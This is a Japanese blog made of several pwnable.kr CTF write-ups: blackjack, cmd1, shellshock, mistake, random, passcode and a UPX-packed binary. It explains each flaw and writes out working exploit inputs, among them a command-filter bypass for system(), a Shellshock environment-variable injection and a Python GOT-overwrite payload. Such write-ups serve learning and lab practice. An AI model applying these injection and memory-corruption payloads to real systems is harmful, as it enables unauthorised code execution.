namdicul's blog

気ままに更新します. CTFと暗号理論について勉強中です.

pwnable.kr writeup [blackjack]

この問題は, blackjackのゲームでmillionareになればflagゲットとなります.

問題

Hey! check out this C implementation of blackjack game!
I found it online

http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?

cboard.cprogramming.com


Running at : nc pwnable.kr 9009

解説

とりあえずゲームをやってみましょう. ゲームの仕組みは以下のとおりです.

(1)所持金は$500.
(2)掛け金を設定.
(3)ブラックジャックゲームに勝利したら掛け金分の報酬をゲット.
(4)負けたら所持金から掛け金分を差し引かれる.

普通に考えて, 所持金$500からミリオネアになるのは非現実的ですね. 何かゲームに存在する脆弱性を利用してミリオネアになることを考えましょう.

こっからはソースコードをじっくり読んでいくしかないのですが, 掛け金に関するコードでおかしい部分が存在します.

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

掛け金を設定するとき, 所持金より大きい値に設定すると, 1回目は「You cannot bet more money than you have」といってもう1回入力させるのですが, 2回目は入力された値をそのままリターンしてしまっています.

つまり, 1回目2回目ともに$1,000,000となるように掛け金を設定し, そのゲームに勝てばミリオネアになれます.




              222                111                            
            222 222            11111                              
           222   222          11 111                            
                222              111                               
               222               111                           

CCCCC     SS            DD         HHHHH    C    C                
C    C    SS           D  D       H     H   C   C              
C    C    SS          D    D     H          C  C               
CCCCC     SS          D DD D     H          C C              
C    C    SS         D DDDD D    H          CC C             
C     C   SS         D      D    H          C   C               
C     C   SS        D        D    H     H   C    C             
CCCCCC    SSSSSSS   D        D     HHHHH    C     C            

                        21                                   
     DDDDDDDD      HH         CCCCC    S    S                
        DD        H  H       C     C   S   S              
        DD       H    H     C          S  S               
        DD       H HH H     C          S S              
        DD      H HHHH H    C          SS S             
        DD      H      H    C          S   S               
     D  DD     H        H    C     S   S    C             
      DDD      H        H     CCCCC    S     S            

         222                     111                         
        222                      111                         
       222                       111                         
      222222222222222      111111111111111                       
      2222222222222222    11111111111111111                         


                 Are You Ready?
                ----------------
                      (Y/N)
                        Y


Enter 1 to Begin the Greatest Game Ever Played.
Enter 2 to See a Complete Listing of Rules.
Enter 3 to Exit Game. (Not Recommended)
Choice: 1







Cash: $500
-------
|D    |
|  J  |
|    D|
-------

Your Total is 10

The Dealer Has a Total of 3

Enter Bet: $1000

You cannot bet more money than you have.
Enter Bet: 100000000000


Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
H
-------
|S    |
|  A  |
|    S|
-------

Your Total is 21

The Dealer Has a Total of 7
Unbelievable! You Win!

You have 1 Wins and 0 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
Y

YaY_I_AM_A_MILLIONARE_LOL


Cash: $1215752692
-------
|H    |
|  7  |
|    H|
-------

Your Total is 7

The Dealer Has a Total of 6

Enter Bet: $    



flagゲットですね.

pwnable.kr writeup [cmd1]

この問題は, 一時的にPATHを変更された場合にどのようにシェルを動かすかっていう話ですね.

問題

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

解答

まずはcmd1.cを見てみましょう.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}

main関数の1行目でPATHが一時的に変更されてしまっています. 2行目では, コマンドライン引数argv[1]に, 「flag」, 「sh」, 「tmp」という文字列が含まれていないかをフィルタリングしています. 含まれていたらそこでmain関数を終了させます.
3行目では, system関数にargv[1]を渡し, シェルを実行させます.

まず, 一時的にPATHが変更されていることを確認してみましょう.

cmd1@ubuntu:~$ ./cmd1 export
export HOME='/home/cmd1'
export LANG='en_US.UTF-8'
export LANGUAGE='en_US:'
export LOGNAME='cmd1'
export MAIL='/var/mail/cmd1'
export PATH='/fuckyouverymuch'
export PWD='/home/cmd1'
export SHELL='/bin/bash'
export SHLVL='1'
export SSH_CLIENT='126.219.156.42 49899 22'
export SSH_CONNECTION='126.219.156.42 49899 192.168.1.186 22'
export SSH_TTY='/dev/pts/14'
export TERM='xterm-256color'
export USER='cmd1'
export XDG_RUNTIME_DIR='/run/user/1025'
export XDG_SESSION_ID='8063'
export _='./cmd1'

PATHが変更されていることが確認できますね(なんでfuckyouverymuchになっているのだろう...のちにソースコードを変更して, バイナリファイルはそのままにしたのだろうか...).

したがって, コマンドライン引数でPATHを再び設定するようなシェルをかいてやればOKですね.

「./cmd1 "export PATH=/bin/; cat flag;"」というコマンドを打てばflagを出力してくれそうですね.
しかし, flagという文字列が含まれているとフィルタリングに引っかかってしまうので, f*という形にしておきましょう.

cmd1@ubuntu:~$ ./cmd1 "export PATH=/bin/; cat f*;"
mommy now I get what PATH environment is for :)

pwnable.kr writeup [shellshock]

この問題はおそらく知らないと解けない問題です...

問題

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)

解説

これはCVE-2014-6271というbash脆弱性をつく問題です.

以下のコマンドを打ったときに, 以下のような2つの結果が出たらアウトです(脆弱性があるということです).

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

この脆弱性を利用して, 「echo vulnerable」の部分に任意のシェルコードを埋め込むことができます.

したがってこの問題では, 以下のようなコマンドを打てばflagをgetできます.

$ env x='() { :; }; /bin/cat flag' ./shellshock

pwnable.kr writeup [mistake]

今回はpwnable.krのmistakeという問題のwriteupを紹介します.

問題

We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

解説

まず, cファイルを見てみましょう.

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
	int i;
	for(i=0; i<len; i++){
		s[i] ^= XORKEY;
	}
}

int main(int argc, char* argv[]){
	
	int fd;
	if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
		printf("can't open password %d\n", fd);
		return 0;
	}

	printf("do not bruteforce...\n");
	sleep(time(0)%20);

	char pw_buf[PW_LEN+1];
	int len;
	if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
		printf("read error\n");
		close(fd);
		return 0;		
	}

	char pw_buf2[PW_LEN+1];
	printf("input password : ");
	scanf("%10s", pw_buf2);

	// xor your input
	xor(pw_buf2, 10);

	if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
		printf("Password OK\n");
		system("/bin/cat flag\n");
	}
	else{
		printf("Wrong Password\n");
	}

	close(fd);
	return 0;
}

2回入力する場面があるのですが, 1回目はpw_bufに, 2回目はpw_buf2に数値が入力されます. ただ, pw_buf2は関数xorによって全てビット反転を起こします.

したがって, 10ビットでそれぞれ互いにビット反転したものを2つ入力すればOKです.

以下が解答例です.

mistake@ubuntu:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(
mistake@ubuntu:~$ ./mistake
do not bruteforce...
0000000001
input password : 1111111110
Password OK
Mommy, the operator priority always confuses me :(
mistake@ubuntu:~$ ./mistake
do not bruteforce...
0101010101
input password : 1010101010
Password OK
Mommy, the operator priority always confuses me :(

最後に

operator priority とはなんのことだったんだろうか...

pwnable.kr writeup [random]

今回は, pwnable.krのrandomという問題のwriteupを紹介します.
C言語のrand()関数の使い方が誤っていると, randomな数字が得られませんよって感じの問題ですね.

問題

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

解説

とりあえずscpでファイルを取得しましょう.

$ scp -r -P 2222 random@pwnable.kr:~/ ./

ファイルを取得したら, random.cをのぞいて見ましょう.

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

rand()関数を使用してrandomにその返り値を渡して, ユーザが入力した数値をkeyに代入し, それらのXORが0xdeadbeefと一致したらflagがgetできます.

ここで大事なのは, rand()関数は種(seed)を設定しないと毎回同じ数字を出力してしまうのです. よってrandom.cに「printf("random value: %d\n", random);」という記述を追加して, randomがどんな値になるか確かめてみましょう.

$ ./a.out
random value: 1804289383

randomの値は1804289383となるそうです. これは毎回実行しても同じ数字が返ってきます.

あとは, (key ^ random) == 0xdeadbeefを満たすkeyを見つければOKですね. XORの性質より, key == random ^ 0xdeadbeef を満たすkeyを計算しましょう.

>>> bin(0xdeadbeef)
'0b11011110101011011011111011101111'
>>> bin(1804289383)
'0b1101011100010110100010101100111'
>>> 0b11011110101011011011111011101111 ^ 0b1101011100010110100010101100111
3039230856

よってkeyは3039230856であるとわかりました. あとはscanf()関数にこの値を渡してやればOKですね.

pwnable.kr writeup "passcode"

今回は, http://pwnable.kr/play.phpの"passcode"のwriteupを書いていこうと思います.

この問題はわからなかったので, 他の方のwriteupを参考にさせていただきました. このレベルの問題を自力で解けるようにがんばりたいです...

問題

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

解説

表層解析

fileコマンドを実行してみると, こんな感じになりました.

$ file passcode
passcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d2b7bd64f70e46b1b0eb7036b35b24a651c3666b, not stripped

32ビットの実行可能ファイルで, シンボル情報は削除されていない. また動的リンクを使用していることがわかります.

また, RELGO情報についても見ていきましょう.

$ checksec.sh --dir .
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./passcode

Partial RELGOなので, GOT-Overwriteが可能であることがわかります.

続いて, 実際にファイルを実行してみましょう.

動的解析

$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : 1234567
Welcome 1234567!
enter passcode1 : 1234567
Segmentation fault (コアダンプ)

むむ, セグメントエラーが発生してしまう.

この問題にはc言語のファイルも配布されているので, その中身を見てみましょう.

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

なにかおかしい部分がありますね.

そうです, scanf関数にアドレスが渡されておらず, passcode1がそのまま渡されているのです. よってscanf関数によって, passcode1の値に, 入力された数値が入るわけです.

本来ならば,

scanf("%d", &passcode1);

とならなければいけませんね(passcode2も同様).

今回は, scanfにint型変数がそのまま渡されているところに脆弱性が存在するのです.


またCプログラムをよく見ると, system関数でflagを出力する行が発見できると思います. 普通にコードを実行する限り, そのflagを出力する行にたどり着くことは不可能なので, 何らかの形でその行にJumpさせる必要があることがわかると思います.

静的解析

さらにアセンブリコードを覗いてみましょう.

$ gdb -q passcode
Reading symbols from passcode...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048665 <+0>:	push   ebp
   0x08048666 <+1>:	mov    ebp,esp
   0x08048668 <+3>:	and    esp,0xfffffff0
   0x0804866b <+6>:	sub    esp,0x10
   0x0804866e <+9>:	mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>:	call   0x8048450 <puts@plt>
   0x0804867a <+21>:	call   0x8048609 <welcome>
   0x0804867f <+26>:	call   0x8048564 <login>
   0x08048684 <+31>:	mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>:	call   0x8048450 <puts@plt>
   0x08048690 <+43>:	mov    eax,0x0
   0x08048695 <+48>:	leave  
   0x08048696 <+49>:	ret    
End of assembler dump.
gdb-peda$ disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    eax,0x80487dd
   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70]
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.
gdb-peda$ disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
---Type <return> to continue, or q <return> to quit---
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

まず, welcome内のアセンブリコードを見てみましょう.

注目すべきは, 以下のコードです.

   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>

scanf関数を実行する前には, 事前にスタックに引数を積まないといけません(32ビット実行ファイルのとき). 上のコードは, 引数をスタックに積んでいる部分です. C言語における変数nameは, edxに入れられます. したがって, nameは[ebp-0x70]に存在することがわかります.

続いて, login内のアセンブリコードを見てみましょう.

   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>

ここも同様に, C言語における変数passcode1は[ebp-0x10]に存在することがわかります.

ちなみに余談ですが, mov命令とlea命令の違いだけまとめておきます.

「mov A B」と「lea A B」はどちらもBをAに代入していることを指します.
ただし, Bがアドレスである場合(ようは[register]の形である場合), 「mov A B」ではBのアドレスに入っている値がAに代入され, 「lea A B」ではBのアドレス自体がAに代入されます.

さて話を戻しますが,
nameとpasscode1は, 0x70 - 0x10 = 0x60 = 96バイトの差があります. nameは100バイトまで代入できるので, nameの最後の4バイトはpasscode1に代入されることになります.

つまり, passcode1には自由な値を代入することが可能なのです!!


さらに, scanf関数の後にfflush関数を使用しているので, GOT-Overwriteを使用して任意のアドレスに実行制御を移すことが可能なのです.

GOT-Overwriteの仕組み.

ここでGOT-overwriteの仕組みについて詳しく説明しておきます.

まずは, 動的リンクにおいて関数を使用する手順を紹介します.

f:id:tomonori4565:20181129002019p:plain

このように, まずPLTにアクセスして, GOTを参照することにより関数のアドレスを取得します.

ただし, 初めてGOTを参照する場合は, GOTアドレスには何も値が書き込まれていません.
f:id:tomonori4565:20181129002023p:plain

従って, 初めて関数を実行する前にGOTアドレスに偽の値を代入しておくことで, 別の関数に飛ばしたり, 任意の実行位置に制御を移すことが可能となります.

f:id:tomonori4565:20181129002027p:plain
f:id:tomonori4565:20181129002031p:plain


この問題の解法

これまでの情報により,

(1)Pertial RELGOより, GOT-Overwriteが可能.
(2)scanf関数にpasscode1がそのまま渡されている.
(3)passcode1には任意の値を代入可能.
(4)scanf直後に, 初めて使用するfflush関数が存在する.

ということがわかるので, passcode1にfflush関数のGOTアドレスを代入し, fflush関数でflagを出力するコードに実行制御を移すという解法が浮かび上がります.

解答

まず96バイトはなんか適当な文字を打っておき, 残りの4バイト(passcode1の値になる)でfflushのGOTアドレスを打ち込みます. その後, scanfで入力する数字を付け足します. passcode1の値のアドレスには, 移動させたいアドレスの数値(0x080485e3 = 134514147)を代入したいので, 134514147を付け足します.

$ python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode

これでOKですね.

"flag" 「UPXとは」

pwnableの問題を解き進めていたところ, 「UPX」を使用する問題に出会いました. UPXについて何も知らなかったので, writeupがてらUPXについて調べたことをまとめておこうと思います.

問題

http://pwnable.kr/play.php

バイナリファイルのみ与えられて, そこからflagを見つけ出してねっていう問題.

解説

まずはfileコマンドを打ち込んでみましょう.

$ file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

どうやらシンボル情報が削除されているらしい. まずはここで面食らう.

続いて逆アセンブルしてみましょう.

$ objdump -d -M intel flag

flag:     ファイル形式 elf64-x86-64

むむっ!!何も表示されない...これは困りましたね...

とりあえずstringsコマンドでも打っておきましょうか.

$ strings flag
UPX!
@/x8
gX lw_
H/\_@
	Kl$
H9\$(t
[]]y
nIV,Uh
AWAVAUATS
uSL9
>t		.
[A\AA;h
]A^A_*U
A4tV

.... (中略)


L#EK
@Bh]
Ixun
;dl]tpR
c3Rh
2B)=	
1\a}
_M]h
Upbrk
makBN
su`"]R
UPX!
UPX!

すげえ量が出力されるんですが, そのなかに気になる文章を発見!!!

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $

どうやら「UPX」というもので圧縮されたファイルみたい. じゃあ解凍してやればおkですね.
解凍方法はググって出てきたものを再利用.

$ upx -d flag -o unpack_flag

これでunpack_flagに解凍されたファイルが出力されました. あとはunpack_flagをデバックしてやれば良さそうですね.

$ gdb -q unpack_flag
Reading symbols from unpack_flag...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000401164 <+0>:	push   rbp
   0x0000000000401165 <+1>:	mov    rbp,rsp
   0x0000000000401168 <+4>:	sub    rsp,0x10
   0x000000000040116c <+8>:	mov    edi,0x496658
   0x0000000000401171 <+13>:	call   0x402080 <puts>
   0x0000000000401176 <+18>:	mov    edi,0x64
   0x000000000040117b <+23>:	call   0x4099d0 <malloc>
   0x0000000000401180 <+28>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401184 <+32>:	mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>
   0x000000000040118b <+39>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040118f <+43>:	mov    rsi,rdx
   0x0000000000401192 <+46>:	mov    rdi,rax
   0x0000000000401195 <+49>:	call   0x400320
   0x000000000040119a <+54>:	mov    eax,0x0
   0x000000000040119f <+59>:	leave  
   0x00000000004011a0 <+60>:	ret    
End of assembler dump.
gdb-peda$ b *main+32
Breakpoint 1 at 0x401184
gdb-peda$ r

...


gdb-peda$ ni

[----------------------------------registers-----------------------------------]
RAX: 0x6c96b0 --> 0x0 
RBX: 0x401ae0 (<__libc_csu_fini>:	push   rbx)
RCX: 0x8 
RDX: 0x496628 ("UPX...? sounds like a delivery service :)")
RSI: 0x0 
RDI: 0x4 
RBP: 0x7fffffffdf70 --> 0x0 
RSP: 0x7fffffffdf60 --> 0x401a50 (<__libc_csu_init>:	push   r14)
RIP: 0x40118b (<main+39>:	mov    rax,QWORD PTR [rbp-0x8])
R8 : 0x1 
R9 : 0x3 
R10: 0x22 ('"')
R11: 0x0 
R12: 0x401a50 (<__libc_csu_init>:	push   r14)
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40117b <main+23>:	call   0x4099d0 <malloc>
   0x401180 <main+28>:	mov    QWORD PTR [rbp-0x8],rax
   0x401184 <main+32>:	mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>
=> 0x40118b <main+39>:	mov    rax,QWORD PTR [rbp-0x8]
   0x40118f <main+43>:	mov    rsi,rdx
   0x401192 <main+46>:	mov    rdi,rax
   0x401195 <main+49>:	call   0x400320
   0x40119a <main+54>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf60 --> 0x401a50 (<__libc_csu_init>:	push   r14)
0008| 0x7fffffffdf68 --> 0x6c96b0 --> 0x0 
0016| 0x7fffffffdf70 --> 0x0 
0024| 0x7fffffffdf78 --> 0x401344 (<__libc_start_main+404>:	mov    edi,eax)
0032| 0x7fffffffdf80 --> 0x0 
0040| 0x7fffffffdf88 --> 0x100000000 
0048| 0x7fffffffdf90 --> 0x7fffffffe068 --> 0x7fffffffe399 ("/home/hirata/pwnable/4/unpack_flag")
0056| 0x7fffffffdf98 --> 0x401164 (<main>:	push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000040118b in main ()

RDXにflagが存在してますね.

ところでUPXってなに?

問題が解けたのはいいのですが, UPXってなんぞや?

気になったので調べました.


UPXとは, 様々なOSのファイル形式に対応した実行ファイル圧縮ソフトらしい. UCLと呼ばれるデータ圧縮アルゴリズムを使用していて, このUCLは数百バイトで実装できるようなシンプルな設計になっているそうです. 素敵ですね.

圧縮率はだいたい35~45%ほど. UPXを使うメリットとしては, 起動の高速化などが挙げられます.